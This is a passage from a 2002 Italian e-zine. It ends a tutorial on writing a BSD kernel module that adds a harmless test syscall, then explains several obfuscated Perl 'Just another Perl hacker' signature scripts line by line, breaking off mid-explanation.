| useless_syscall /* puntatore alla nostra syscall |
| */ |
| }; |
| |
| /* e questa e' la syscall */ |
| int useless_syscall(p, v, retval) |
| struct proc *p; |
| void *v; |
| register_t *retval; |
| { |
| printf("useless_syscall called!\n"); |
| return 0; |
| } |
| |
| int useless_load(lkmtp, cmd) |
| struct lkm_table *lkmtp; |
| int cmd; |
| { |
| int i; |
| |
| /* tramite l'uso di lkmexists() evitiamo che il nostro modulo |
| venga |
| caricato due volte */ |
| |
| if( lkmexists(lkmtp) ) |
| return EEXIST; |
| |
| /* ora iteriamo sulla lista delle syscall finche' non troviamo |
| uno slot libero */ |
| |
| for( i=0; i < SYS_MAXSYSCALL; i++ ) { |
| if( sysent[i].sy_call == sys_lkmnosys ) { |
| |
| /* sostituiamo la syscall con la nostra |
| */ |
| memcpy( &sysent[i], &useless_sysent, |
| sizeof(struct sysent) ); |
| |
| /* salviamo il numero dello slot */ |
| lkmtp->private.lkm_misc->lkm_offset = i; |
| |
| /* salutiamo e ritorniamo con successo |
| */ |
| printf("useless_syscall loaded at slot % |
| d\n", i); |
| return 0; |
| } |
| } |
| |
| /* se siamo qui, significa che il ciclo e' finito e che non |
| ci sono syscall libere */ |
| return ENFILE; |
| } |
| |
| int useless_unload(lkmtp, cmd) |
| struct lkm_table *lkmtp; |
| int cmd; |
| { |
| int i; |
| |
| /* ricordiamoci dove siamo */ |
| i = lkmtp->private.lkm_misc->lkm_offset; |
| |
| /* riazzeriamo la syscall */ |
| sysent[i].sy_narg = 0; |
| sysent[i].sy_argsize = 0; |
| sysent[i].sy_call = sys_lkmnosys; |
| |
| /* come sempre salutiamo */ |
| printf("useless_syscall unloaded from slot %d\n", i); |
| printf("goodbye kernel\n"); |
| |
| return 0; |
| } |
| |
| useless_lkmentry(lkmtp, cmd, ver) |
| struct lkm_table *lkmtp; |
| int cmd; |
| int ver; |
| { |
| int error = 0; /* success = 0 */ |
| |
| if (ver != LKM_VERSION) |
| return EINVAL; |
| |
| switch (cmd) { |
| case LKM_E_LOAD: |
| lkmtp->private.lkm_misc = &_module; |
| error = useless_load(lkmtp, cmd); |
| break; |
| case LKM_E_UNLOAD: |
| error = useless_unload(lkmtp, cmd); |
| break; |
| } |
| return error; |
| } |
| <-- cut here - end - [useless_module_4.c] - --> |
| |
| come al solito : |
| |
| biesdi: {47} cc -c -D_LKM -D_KERNEL -I/sys useless_module_4.c |
| biesdi: {48} ld -r -o useless.o useless_module_4.o |
| biesdi: {49} su |
| Password: |
| biesdi: {1} modload useless.o |
| Module loaded as ID 0 |
| biesdi: {2} modstat |
| Type Id Off Loadaddr Size Info Rev Module Name |
| MISC 0 210 c4ed5000 0004 c4ed5278 1 useless |
| biesdi: {3} modunload -n useless |
| |
| con tanto di saluti: |
| |
| useless_syscall loaded at slot 210 |
| useless_syscall unloaded from slot 210 |
| goodbye kernel |
| |
| ovviamente il numero dello slot dipende da sistema a sistema. bene! |
| ora abbiamo un modulo che installa una syscall, ma come la proviamo ? |
| ci serve un altro programma... |
| |
| <-- cut here - start - [useless_test_4.c] - --> |
| #include <stdio.h> |
| |
| main() |
| { |
| char buf[80]; |
| int err = 0; |
| |
| printf("Offset riportato da modstat : "); |
| if( gets(buf) == NULL ) { |
| printf("aborted\n"); |
| exit(1); |
| } |
| |
| if( err = syscall(atoi(buf)) ) |
| perror("syscall"); |
| |
| exit(err); |
| } |
| <-- cut here - end - [useless_test_4.c] - --> |
| |
| ed ecco il risultato : |
| |
| biesdi: {18} modload useless.o |
| Module loaded as ID 0 |
| biesdi: {19} modstat |
| Type Id Off Loadaddr Size Info Rev Module Name |
| MISC 0 210 c4ed9000 0004 c4ed9278 1 useless |
| biesdi: {20} ./useless_test_4 |
| Offset riportato da modstat : 210 |
| biesdi: {21} modunload -n useless |
| |
| e relativo saluto su xconsole : |
| |
| useless_syscall loaded at slot 210 |
| useless_syscall called! |
| useless_syscall unloaded from slot 210 |
| goodbye kernel |
| |
| [ the easy way ] |
| |
| fino ad ora abbiamo evitato l'uso delle macro per rendere piu' |
| trasparente |
| il funzionamento del modulo, ora invece riscriviamo usufruendo delle |
| macro. per usufruire di tutti gli automatismi il nostro modulo sara' |
| ora di tipo syscall. cioe' all'inizio scriveremo : |
| |
| MOD_SYSCALL("useless_syscall", -1, &useless_sysent); |
| |
| struct sysent useless_sysent = { 0, 0, useless_syscall }; |
| |
| i valori aggiuntivi passati a MOD_SYSCALL riempiono i campi lkm_offset |
| e lkm_sysent della struttura _module (che questa volta e' un struct |
| lkm_syscall e non struct lkm_misc come prima). lkm_offset uguale a -1 |
| fara' capire alla routine di inizializzazione (lkm_dispatch, chiamata |
| nella macro DISPATCH) che non abbiamo preferenze per il numero dello |
| slot ma ci accontentiamo del primo libero. dato che e' tutto automatico |
| "il resto e' banale". |
| |
| <-- cut here - start - [useless_test_5.c] - --> |
| #include <sys/param.h> |
| #include <sys/ioctl.h> |
| #include <sys/systm.h> |
| #include <sys/conf.h> |
| #include <sys/mount.h> |
| #include <sys/exec.h> |
| #include <sys/lkm.h> |
| #include <sys/file.h> |
| #include <sys/errno.h> |
| #include <sys/syscall.h> |
| |
| int useless_syscall(struct proc *, void *, register_t *); |
| struct sysent useless_sysent = { 0, 0, useless_syscall }; |
| |
| MOD_SYSCALL("useless", -1, &useless_sysent); |
| |
| int useless_syscall(p, v, retval) |
| struct proc *p; |
| void *v; |
| register_t *retval; |
| { |
| printf("useless_syscall called!\n"); |
| return 0; |
| } |
| |
| int useless_load(lkmtp, cmd) |
| struct lkm_table *lkmtp; |
| int cmd; |
| { |
| /* solo un piccolo messaggio, anche il controllo che i modulo |
| non sia gia' stato caricato e' in lkm_dispatch */ |
| printf("useless module loaded\n"); |
| return 0; |
| } |
| |
| useless_lkmentry(lkmtp, cmd, ver) |
| struct lkm_table *lkmtp; |
| int cmd; |
| int ver; |
| { |
| DISPATCH(lkmtp, cmd, ver, useless_load, lkm_nofunc, |
| lkm_nofunc) |
| } |
| <-- cut here - start - [useless_test_5.c] - --> |
| |
| con 42 righe rispetto a 116 otteniamo lo stesso risultato : |
| |
| biesdi: {35} modload useless.o |
| Module loaded as ID 0 |
| biesdi: {36} modstat |
| Type Id Off Loadaddr Size Info Rev Module Name |
| SYSCALL 0 210 c4ed9000 0004 c4ed9148 1 useless |
| biesdi: {37} ./useless_test_4 |
| Offset riportato da modstat : 210 |
| biesdi: {38} modunload -n useless |
| |
| quest'ultima versione del modulo fa' esattamente tutto quello che faceva |
| la versione senza macro (anzi prob fa' qualcosa di +); quindi quando |
| uno ha le idee chiare e non vuole perdere tempo nell'implementazione |
| non dovrebbe farsi problemi ad utilizzarle. |
| |
| [ the end ] |
| |
| dopo la bellezza di 436 righe anche stavolta sono rimasto a secco di |
| conoscenze. cmq l'apprendimento (esami permettendo) e' ancora in corso. |
| quindi tutti coloro che leggeranno o insulteranno questo tut e/o il suo |
| autore sono pregati di segnalarmelo via email. |
| grazie a tutti e |
| buona sera |
| |
| _beb0s_ |
| |
| beb0s at autistici dot org - beb0s at sdf dot lonestar dot org |
| Key fingerprint = 6A2E 43A9 31F4 B619 B4C4 EBBD 5E81 35A1 148C CF72 |
| |
| |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ C0DiNG #07 - 01/08/2002 |
| PERL HACKS EXPLAiNED [Domine] 0x0F/0x19 |
+--------------------------------------------------------------------------+
| Perl hacks explained - 12/04/2002 |
| |
| |
| di Roberto Natella "Domine" |
| |
| |
| Mail: domine@paranoici.org |
| WWW: http://www.autistici.org/domine/index.php |
| IRC: Domine @ IRCNet, AzzurraNet |
| |
| |
| |
| INTRODUZIONE |
| |
| In questa sede parlerò di alcuni curiosi hacks scritti in Perl |
| reperibili dalla Rete. Per l'esattezza si tratta di JAPH signatures, |
| ossia dei modi originali di stampare a video la frase "just another |
| perl hacker" o simili. |
| Questo genere di firme furono per prime utilizzate e rese famose da |
| Randal Schwartz, e alcune sono disponibili all'indirizzo |
| |
| http://www.perl.com/CPAN/misc/japh |
| |
| un aspetto interessante della cultura della comunità degli |
| sviluppatori :-] |
| Sono anche una ottima occasione per impare per gli inesperti, e un |
| modo per ripassare per i più bravi :-P |
| |
| PS: per un maggior divertimento, provate prima da soli a capire il |
| meccanismo degli script :-) |
| |
| |
| APERTE LE DANZE |
| |
| Ecco un primo script, non troppo grosso, tanto per cominciare: |
| |
| #!perl -l |
| # chipmunk (aka Ronald J Kimball) <rjk@linguist.dartmouth.edu> |
| $_={1..28};$/=[$_,P,a..z,J,$"];print+map{$_&1?$/->{$_}:$/->[$_|1]} |
| (27,21,19,20,28,1,14,15,20,8,5,18,28,0,5,18,12,28,8,1,3,11,5,18) |
| |
| Lo stesso script, riscritto in modo più leggibile: |
| |
| #!/usr/in/perl -l |
| |
| # L'opzione -l equivale all'istruzione |
| # $\ = $/; chomp $/; |
| |
| $_={ |
| |
| 1 => 2, |
| 3 => 4, |
| 5 => 6, |
| 7 => 8, |
| 9 => 10, |
| 11 => 12, |
| 13 => 14, |
| 15 => 16, |
| 17 => 18, |
| 19 => 20, |
| 21 => 22, |
| 23 => 24, |
| 25 => 26, |
| 27 => 28 |
| |
| }; |
| |
| $/=[$_,P,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,J,$"]; |
| |
| # $" contiene uno spazio vuoto (' '); |
| |
| print map{ $_ & 1 ? $/->{$_} : $/->[$_|1] } |
| |
| (27,21,19,20,28,1,14,15,20,8,5,18,28,0,5,18,12,28,8,1,3,11,5,18); |
| |
| |
| |
| Innanzitutto, $_ viene dichiarato come reference ad un hash anonimo, |
| in cui i numeri dispari da 1 a 27 richiamano i numeri pari |
| immediatamente successivi. |
| Ad esempio $_->{15} è uguale a 16; in pratica le cifre sono usate |
| come le chiavi dell'hash. |
| |
| Poi, $/ ; non bisogna farsi ingannare dal ruolo che le attribuisce |
| l'interprete per default: $/ contiene il carattere che viene |
| considerato come separatore di linea durante la lettura di un file |
| (\n), ma siccome questo non avviene $/ ha il valore di una |
| normalissima variabile come $cip o $ciop . |
| |
| $/, come $_, viene utilizzato come reference, che stavolta punta su |
| una lista anonima che però, come vedremo, ha una proprietà molto |
| particolare. |
| Comunque, questa reference va trattata come qualunque altra |
| reference verso array, per cui $/->[1] è uguale a "P", $/->[3] a "b" |
| e così via. Il primo elemento di questo array anonimo è a sua volta |
| una reference all'hash $_ precedentemente dichiarato, e conferisce |
| alla lista una caratterista, documentata nella pagina del manuale |
| "perlref" (sezione "Pseudo-hashes: Using an array as a |
| hash"); vediamola molto brevemente. |
| |
| Data la seguente reference verso un array anonimo |
| |
| $struct = [{foo => 1, bar => 2}, "FOO", "BAR"]; |
| |
| so che $struct->[1] è uguale a "FOO" e $struct->[2] a "BAR"; inoltre |
| il primo elemento è una reference ad un array, quindi |
| $struct->[0]->{foo} è uguale a 1 e $struct->[0]->{bar} è uguale a 2. |
| Ma stranamente se richiamo $struct->{foo} ottengo "FOO", e con |
| $struct->{bar} ho "BAR"... come mai ? Questo accade perchè il primo |
| elemento è un riferimento ad un hash in cui alle chiavi sono |
| associate dei numeri: l'interprete Perl, non appena lo nota, associa |
| ad ogni chiave un puntatore ad uno degli elementi della lista, |
| quello indicato dal numero da essa contenuto. Così, la chiave "foo" |
| fungerà da "etichetta" all'elemento della lista con indice uguale ad |
| 1, e "bar" all'indice 2. Quindi le diciture $struct->{foo} e |
| $struct->[1] sono considerate uguali. |
| |
| Ritornando al nostro scriptino, ecco che troviamo un blocco che |
| tramite la istruzione map rielabora gli elementi della lista di |
| numeri indicata subito dopo, restituendo una serie di caratteri che |
| l'istruzione print provvede a stampare. Vi svelo subito che |
| l'obiettivo dell'autore è stampare la lettera dell'alfabeto |
| associata a ogni numero, a formare la fatidica scritta "Just |
| another Perl hacker", ossia che, passato a map il numero 1, venga |
| stampata la a, col numero 2 venga stampata la b e così via (va fatta |
| eccezione per 27 e 0, che indicano la "J" e la "P", e il 28 che |
| indica lo spazio vuoto). |
| Vediamo nel dettaglio come questo avviene. |
| |
| $_ & 1 ? $/->{$_} : $/->[$_|1] |
| |
| Ecco l'operatore ternario determinante per il programma. Un occhio |
| attento farà certamente caso anche ad & e |, due operatori che |
| lavorano a livello di bit. |
| |
| Ora, una piccolissima rinfrescatina di aritmetica binaria per chi ne |
| avesse bisogno. I numeri che in base decimale sono pari, portati in |
| base primaria terminano per 0, viceversa quelli dispari termineranno |
| per 1. (Ci riferiamo ad architetture little-endian.) |
| |
| Quando andremo a fare l'AND tra un numero pari e 1, otterremo questo: |
| |
| 1010 & (il 10) |
| 0001 = (l' 1) |
| -------- |
| 0000 |
| |
| E ora, proviamo con un numero dispari: |
| |
| 1111 & (il 13) |
| 0001 = (l' 1) |
| -------- |
| 0001 |
| |
| In qualunque caso, gli unici bit che influenzeranno il risultato |
| della operazione sono soltanto quelli all'estrema destra (ossia lo 0 |
| finale del 10 e l'1 finale del 13): tutte le altre cifre dei numeri, |
| confrontate con gli zeri di 0001 restituiranno sempre 0 (FALSE) al |
| momento dell'AND. Per cui "$_ & 1" restituisce vero nel caso di |
| numeri dispari, e falso nel caso di numeri pari. |
| |
| Tutto questo soltanto per far sì che al richiamo dell'istruzione |
| $/->{$_} si possa essere sicuri che $_ sia un valore dispari, che in |
| caso contrario genererebbe un messaggio di errore (infatti l'hash |
| delle "etichette" non contiene chiavi con numeri pari). |
| |
| In caso di numeri pari viene invece usata la sintassi "$/->[$_|1]", |
| che richiama il $_|1 esimo elemento della lista $/, trattata come |
| una lista comune. |
| Perchè quell'OR ? Anche in questo caso valgono alcune delle |
| considerazioni fatte per l'AND: |
| |
| 1010 | (il 10) |
| 0001 = (l' 1) |
| -------- |
| 1011 |
| |
| Come per ogni altro numero pari, l'OR fra 10 e 1 restituisce il |
| numero immediatamente successivo, 11. Ossia è come se si fosse |
| scritto ++$_ . |
| |
| L'autore ha fatto questo perchè nella lista $/ l'elemento numero 8, |
| ad esempio, non corrisponde alla ottava lettera dell'alfabeto, bensì |
| alla settima, la g; poichè l'elemento 1 della lista è uguale a "P", |
| il secondo è uguale ad "a", il terzo a "b" e via discorrendo. "$_ | |
| 1" rappresenta un tentativo offuscato per far avanzare l'indice di |
| una unità in modo da ovviare all'inconveniente. |
| |
| Infine, il "+" tra print e map nella "versione offuscata" serve per |
| non lasciare spazi vuoti senza alterare il funzionamento dello |
| script. |
| |
| Finito! Questo, per quanto semplice, contiene qualche piccola |
| caratteristica curiosa che rende un JAPH interessante... Prometto di |
| non farla tanto lunga con i prossimi script :-) |
| |
| Ecco un altro script carino: |
| |
| |
| #!/usr/bin/perl |
| # autore anonimo |
| |
| undef$/;$_=<DATA>;y/ODA\n / /ds;@yoda=map{length}split;print chr |
| oct join('',splice(@yoda,0,3))-111 while@yoda; |
| __DATA__ |
| 00O00O000O00O0000 000O DD000000O0 |
| 0DO0000000O0000O00 O00000 00O00000O0O |
| 0000 0O0 O00 O00 00D 0DO |
| 00O0 0O0 00D 000 DO0D00000D |
| 0O00 DOD 000000O00000 000 O00O |
| DD0000D000O0 000 0O00O0000D00DO 0OD D00O000D00O0 |
| 00000DO00O0 000 000O 00D0 O0D O00000O0DO0 |
| |
| 0O000 OD0D O00O0 0000 DDDO000000 O00O000000 |
| 0O000 O00DDO 00000 0O0D00 00O0O00000O 0O00O000000 |
| 0O0O00OD00000DDD 00O 0D0 DDD D0O 00O0D |
| 00000O00000000 O00 DO0 D00D00O000 00D00 |
| D0O00 O0000 000O000O00DO 000 00O0 0OD00 |
| O00 000 0O000D000O00O0 000 0D0O000000O00O00 |
| 0 0 0O0D 0000 0O0 0O0000000O000O |
| |
| |
| Lo riscrivo in forma più chiara: |
| |
| |
| #!/usr/bin/perl |
| |
| undef $/; # Come sopracitato, $/ contiene il separatore di linea |
| # in lettura, "\n". |
| # Annullandolo, può essere assegnato a una variabile |
| # l'intero contenuto di un filehandle (vedi istruzione |
| # sottostante). |
| |
| $_ = <DATA>; # Tutto ciò che è scritto dopo il termine __DATA__ |
| # non viene considerato come istruzioni da |
| # interpretare, ma come un file di testo che viene |
| # passato all'interprete al momento della |
| # esecuzione (come se si trattasse di una pipe). |
| # Quindi è necessario scrivere prima lo script, |
| # considerando DATA come un |
| # normale filehandle, poi terminare lo script con |
| # __DATA__ e inserire il testo. |
| |
| $_ =~ y/ODA\n / /ds; # Sostituisce con uno spazio vuoto tutto quello |
| # che è uguale ad una "O","D" o "A", |
| # cancellando anche gli \n . |
| # PS: notare lo "y/ODA" :-) |
| |
| @yoda = map { length ($_) } split (/ /,$_); # $_ viene diviso in |
| # gruppetti di caratteri, di cui |
| # la lunghezza di ognuno viene |
| # associata a un elemento |
| # dell'array @yoda . |
| |
| while (@yoda) { |
| |
| $_ = join('',splice(@yoda,0,3)); # Finchè rimangono elementi in |
| # @yoda, vengono sottratti i |
| # primi 3 da questo array e |
| # vengono uniti assieme formando |
| # un nuovo numero a 3 cifre. |
| |
| $_ -= 111; # A questo numero viene |
| # sottratto 111. |
| |
| $_ = oct $_; # Questo numero passa dalla base |
| # decimale all'equivalente in |
| # base ottale. |
| |
| $_ = chr $_; # Il numero viene convertito nel |
| # carattere ASCII corrispondente |
| # (ad esempio 65 equivale alla |
| # A maiuscola). |
| |
| print $_; # Infine questo carattere viene |
| # stampato. |
| |
| } |
| |
| # Ho sostituito gli 0 con degli * per maggior chiarezza, il |
| # risultato è uguale. |
| |
| __DATA__ |
| **O**O***O**O**** ***O DD******O* |
| *DO*******O****O** O***** **O*****O*O |
| **** *O* O** O** **D *DO |
| **O* *O* **D *** DO*D*****D |
| *O** DOD ******O***** *** O**O |
| DD****D***O* *** *O**O****D**DO *OD D**O***D**O* |
| *****DO**O* *** ***O **D* O*D O*****O*DO* |
| |
| *O*** OD*D O**O* **** DDDO****** O**O****** |
| *O*** O**DDO ***** *O*D** **O*O*****O *O**O****** |
| *O*O**OD*****DDD **O *D* DDD D*O **O*D |
| *****O******** O** DO* D**D**O*** **D** |
| D*O** O**** ***O***O**DO *** **O* *OD** |
| O** *** *O***D***O**O* *** *D*O******O**O** |
| * * *O*D **** *O* *O*******O***O |
| |
| __END__ |
| |
| |
| Direi che il codice si commenta (quasi :) ) da solo. |
| Cmq non credo che queste offuscazioni siano ancora sufficienti per |
| nascondere ai nostri attenti occhi la fatidica scritta :-P |
| |
| |
| Ecco ora un codice graficamente divertente! |
| |
| |
| #Clinton Pierce |
| #note: Requires 5.6.0 or better |
| |
| '% * % % * % %<> |
| * % ~ * % % * % * * % * * |
| * % % * * % * % *<> * % ~ % % % * % |
| * * * % * % % % % * % % % % % % * % % * % |
| % * % % " * % % % % *[] % % * * % * * % % % |
| % * % % % % % % * * % * * @ * @ % * % % |
| % " % * % * % * * % % * % <> % % % % * % %() % |
| % % * * * % % * % % * * % * * * * % * * % % * * * |
| % * * * % % * % % *[]<> % % % % * % * * * % % *<> |
| % * * % % % * * % * * * \ * %\ * * * %/ \ # % * * |
| % % % *\ * /\ * *// % %\ <>\ // % %/ % \// % * % |
| * * *\ \|| \ \/ / % %// \ \ *\ /<> %// %// % %<> |
| * % * %\ \ | | ||// % || // \// % // * * * % |
| %{} % * ----\ \ | / %||// / ---/ / * % % * |
| % * *\ ____\ \| | / / / /----/ * % |
| \ ----\ | / // / |
| \ \ / /' |
| =~m/(.*)/s;$_=$1; |
| s![-\\|_/\s]!!g |
| ;%e=('%',0, |
| '"',132918, |
| '~'=>18054, |
| '@'=>19630, |
| '*' =>0b01, |
| '#'=>13099, |
| '[]'=>4278, |
| '<>'=>2307, |
| '{}'=>9814, |
| '()',2076); |
| for $a(keys |
| %e){$e{$a}= |
| sprintf"%b" |
| , $e{$a};} |
| $y= qq{(}.join( |
| '|',map "\Q$_\E" |
| ,keys %e).qq{)};s/$y |
| /$e{$1}/gex;print pack"B*",$_; |
| |
| |
| Bellino l'albero, vero? Un vero peccato abbatterlo :-/ |
| |
| |
| #!/usr/bin/perl |
| |
| '% * % % * % %<> |
| * % ~ * % % * % * * % * * |
| * % % * * % * % *<> * % ~ % % % * % |
| * * * % * % % % % * % % % % % % * % % * % |
| % * % % " * % % % % *[] % % * * % * * % % % |
| % * % % % % % % * * % * * @ * @ % * % % |
| % " % * % * % * * % % * % <> % % % % * % %() % |
| % % * * * % % * % % * * % * * * * % * * % % * * * |
| % * * * % % * % % *[]<> % % % % * % * * * % % *<> |
| % * * % % % * * % * * * \ * %\ * * * %/ \ # % * * |
| % % % *\ * /\ * *// % %\ <>\ // % %/ % \// % * % |
| * * *\ \|| \ \/ / % %// \ \ *\ /<> %// %// % %<> |
| * % * %\ \ | | ||// % || // \// % // * * * % |
| %
{} % * ----\ \ | / %||// / ---/ / * % % * |
| % * *\ ____\ \| | / / / /----/ * % |
| \ ----\ | / // / |
| \ \ / /' |
| |
| =~ m/(.*)/s; |
| |
| # La stringa racchiusa da '' e contenente simboli quali %,*,ecc. |
| # viene passata alla regular expression "grezza" m/(.*)/s, la quale |
| # semplicemente elimina i ritorni a capo (\n) ed assegna alla |
| # variabile $1 il contenuto della stringa ottenuta. |
| |
| $_ = $1; # $_ ora contiene la stringa |
| |
| $_ =~ s![-\\|_/\s]!!g; # Con questa istruzione cancelliamo i |
| # seguenti simboli: |
| # - \ | _ / |
| # inoltre elimina gli spazi vuoti. |
| |
| %e = ( |
| |
| '%' => 0, |
| '"' => 132918, |
| '~' => 18054, |
| '@' => 19630, |
| '*' => 0b01, |
| '#' => 13099, |
| '[]' => 4278, |
| '<>' => 2307, |
| '{}' => 9814, |
| '()' => 2076 |
| |
| ); |
| |
| for $a(keys%e) { |
| |
| $e{$a} = sprintf ("%b", $e{$a} ); # In questa maniera i valori |
| # contenuti nell'hash %e vengono |
| # convertiti in valori binari |
| # (es. 2076 == 100000011100). |
| } |
| |
| $y = "("; |
| |
| $y .= join('|',map {"\Q$_\E"} keys %e); # Le chiavi dell'hash %e |
| # vengono concatenate per |
| # formare il pattern da |
| # utilizzare nella regex |
| # successiva. |
| $y .= ")"; |
| |
| # $y ora equivale a: |
| # (\Q[]\E|\Q"\E|\Q<>\E|\Q~\E|\Q{}\E|\Q@\E|\Q()\E|\Q*\E|\Q#\E|\Q%\E) |
| |
| # I caratteri sono compresi fra \Q ed \E affinchè vengano |
| # interpretati "alla lettera" piuttosto che considerati come |
| # caratteri speciali (ad esempio """ non indicherà alla regex di |
| # cercare all'inizio della stringa). |
| |
| s/$y/$e{$1}/gex; |
| |
| # Quando la regex trova una delle seguenti sequenze di caratteri |
| # [] " <> ~ {} @ () * # % |
| # viene sostituita col valore ad essa associato nell'hash %e. |
| |
| # (Esempio: la prima corrispondenza, "%", viene associata alla |
| # variabile $1; poi, "%" viene sostituito col valore contenuto da |
| # $e{$1} (== $e{'%'} ), ossia con lo 0. Quando poi invece vengono |
| # trovati i caratteri [] vicini, essi vengono sostituiti dal |
| # contenuto di $e{'[]'}, cioè 1000010110110 (ossia il numero 4278 |
| # convertito in base binaria.) |
| |
| # Ora $_ contiene una serie di 0 e di 1 (488, per l'esattezza). |
| |
| print pack("B*",$_); |
| |
| __END__ |
| |
| |
| Infine fu pack(): per chi non lo ricordasse, questa funzione, |
| associata al parametro "B*", fa sì che i valori contenuti in $_ |
| vengano scomposti in gruppi da 8, e che questi "ottetti" vengano |
| considerati come i bit di un byte e come tali vengano convertiti nel |
| carattere corrispondente. Così 488 viene diviso in 61 gruppi di bit, |
| ciascuno equivalente a ognuno dei 61 caratteri della frase stampata |
| dallo script. Ecco uno schema chiarificatore: |
| |
| (i byte sono considerati little-endian) |
| |
| 01001001 I |
| 00100000 |
| 01110100 t |
| 01101000 h |
| 01101001 i |
| 01101110 n |
| 01101011 k |
| 00100000 |
| 01110100 t |
| 01101000 h |
| 01100001 a |
| 01110100 t |
| 00100000 |
| 01001001 I |
| 00100000 |
| 01110011 s |
| 01101000 h |
| 01100001 a |
| 01101100 l |
| 01101100 l |
| 00100000 |
| 01101110 n |
| 01100101 e |
| 01110110 v |
| 01100101 e |
| 01110010 r |
| 00100000 |
| 01110011 s |
| 01100101 e |
| 01100101 e |
| 00100000 |
| 01100001 a |
| 00100000 |
| 01110000 p |
| 01110010 r |
| 01101111 o |
| 01100111 g |
| 01110010 r |
| 01100001 a |
| 01101101 m |
| 00100000 |
| 01100001 a |
| 01110011 s |
| 00100000 |
| 01101100 l |
| 01101111 o |
| 01110110 v |
| 01100101 e |
| 01101100 l |
| 01111001 y |
| 00100000 |
| 01100001 a |
| 01110011 s |
| 00100000 |
| 01100001 a |
| 00100000 |
| 01110100 t |
| 01110010 r |
| 01100101 e |
| 01100101 e |
| 00101110 . |
| |
| Leggendo dall'alto verso il basso, ora è chiaro da dove esce la |
| frase finale. |
| |
| Ecco ora un vero capolavoro, il sorgente-cammello per eccellenza :-) |
| |
| |
| Autore: Erudil from http://www.perlmonks.com/ |
| |
| #!/usr/bin/perl -w # camel code |
| use strict; |
| |
| $_='ev |
| al("seek\040D |
| ATA,0, 0;");foreach(1..3) |
| {<DATA>;}my @camel1hump;my$camel; |
| my$Camel ;while( <DATA>){$_=sprintf("%-6 |
| 9s",$_);my@dromedary 1=split(//);if(defined($ |
| _=<DATA>)){@camel1hum p=split(//);}while(@dromeda |
| ry1){my$camel1hump=0 ;my$CAMEL=3;if(defined($_=shif |
| t(@dromedary1 ))&&/\S/){$camel1hump+=1<<$CAMEL;} |
| $CAMEL--;if(d efined($_=shift(@dromedary1))&&/\S/){ |
| $camel1hump+=1 <<$CAMEL;}$CAMEL--;if(defined($_=shift( |
| @camel1hump))&&/\S/){$camel1hump+=1<<$CAMEL;}$CAMEL--;if( |
| defined($_=shift(@camel1hump))&&/\S/){$camel1hump+=1<<$CAME |
| L;;}$camel.=(split(//,"\040..m`{/J\047\134}L"7FX"))[$camel1h |
| ump];}$camel.="\n";}@camel1hump=split(/\n/,$camel);foreach(@ |
| camel1hump){chomp;$Camel=$_;y/LJF7\173\175`\047/\061\062\063\ |
| 064\065\066\067\070/;y/12345678/JL7F\175\173\047`/;$_=reverse; |
| print"$_\040$Camel\n";}foreach(@camel1hump){chomp;$Camel=$_;y |
| /LJF7\173\175`\047/12345678/;y/12345678/JL7F\175\173\0 47`/; |
| $_=reverse;print"\040$_$Camel\n";}';;s/\s*//g;;eval; eval |
| ("seek\040DATA,0,0;");undef$/;$_=<DATA>;s/\s*//g;( );;s |
| ;".*_;;;map{eval"print\"$_\"";}/.{4}/g; __DATA__ \124 |
| \1 50\145\040\165\163\145\040\157\1 46\040\1 41\0 |
| 40\143\141 \155\145\1 54\040\1 51\155\ 141 |
| \147\145\0 40\151\156 \040\141 \163\16 3\ |
| 157\143\ 151\141\16 4\151\1 57\156 |
| \040\167 \151\164\1 50\040\ 120\1 |
| 45\162\ 154\040\15 1\163\ 040\14 |
| 1\040\1 64\162\1 41\144 \145\ |
| 155\14 1\162\ 153\04 0\157 |
| \146\ 040\11 7\047\ 122\1 |
| 45\15 1\154\1 54\171 \040 |
| \046\ 012\101\16 3\16 |
| 3\15 7\143\15 1\14 |
| 1\16 4\145\163 \054 |
| \040 \111\156\14 3\056 |
| \040\ 125\163\145\14 4\040\ |
| 167\1 51\164\1 50\0 40\160\ |
| 145\162 \155\151 |
| \163\163 \151\1 |
| 57\156\056 |
| |
| |
| Se lanciando questo script rimanete a bocca aperta non vi |
| preoccupate, è un normale effetto collaterale :)) |
| |
| Anche qui c'è il trucco, che ora vedremo. |
| |
| Innanzitutto, bisogna dire che non è possibile "mettere ordine" nelle |
| istruzioni senza compromettere il risultato dello script. Questo |
| perchè lo script legge prima sè stesso (per cui non funzionerà se |
| passato all'interprete tramite lo STDIN, ma soltanto se salvato |
| prima in un file e poi lanciato), poi stampa una versione "in scala" |
| del codice trattato come se fosse uno di quei lavoretti ASCII-art :-) |
| |
| Il sorgente viene trattato tramite un filehandle, e vengono man mano |
| letti "blocchi" di caratteri di grandezza 2x2, come questo |
| |
| XX |
| XX |
| |
| e in base al numero e alla posizione degli spazi bianchi presenti in |
| questi "blocchi" vengono stampate le lettere. Come si nota dal |
| risultato, blocchi aventi soltanto spazi bianchi fanno stampare uno |
| spazio bianco, mentre blocchi aventi tutti non-spazi stampano una |
| "X". Ma ecco una piccola legenda prima dei chiarimenti sul codice: |
| |
| (gli _ rappresentano gli spazi, le X i caratteri non-spazi) |
| |
| ** ** ** |
| ** == " " *X == "." X* == "." |
| |
| |
| ** *X X* |
| XX == "m" XX == "J" XX == "L" |
| |
| |
| XX X* *X |
| ** == """ ** == "'" ** == "`" |
| |
| |
| XX X* *X |
| XX == "X" *X == "\" X* == "/" |
| |
| |
| XX XX *X |
| *X == "7" X* == "F" *X == "{" |
| |
| |
| X* |
| X* == "}" |
| |
| |
| I più attenti noteranno una vaga somiglianza fra il disegno |
| rappresentato dai blocchi dei caratteri e il carattere a loro |
| corrispondente... Comunque il risultato finale è una versione in |
| scala 1 a 4 del disegno rappresentato dal sorgente, ripetuto per |
| quattro volte. |
| |
| Prima di andare avanti esaminiamo il codice che ottiene il risultato |
| sopra descritto. |
| |
| |
| $_=' |
| |
| eval("seek DATA,0,0;"); # L'istruzione seek con questi parametri |
| # manipola in modo originale il |
| # filehandle DATA. |
| # Visto che quest'ultimo è un filehandle |
| # che punta al sorgente dello script alla |
| # posizione della parola __DATA__, |
| # settando questa posizione allo 0 |
| # ottengo un handle all'intero codice |
| # sorgente. |
| |
| foreach(1..3) { <DATA>; } # Butta via le prime tre righe dello |
| # script. |
| |
| my @camel1hump; |
| my $camel; |
| my $Camel; |
| |
| while(<DATA>){ |
| |
| $_=sprintf("%-69s",$_); # Aggiunge degli spazi vuoti al termine |
| # di ogni riga in modo che siano tutte |
| # della stessa lunghezza e si possa poi |
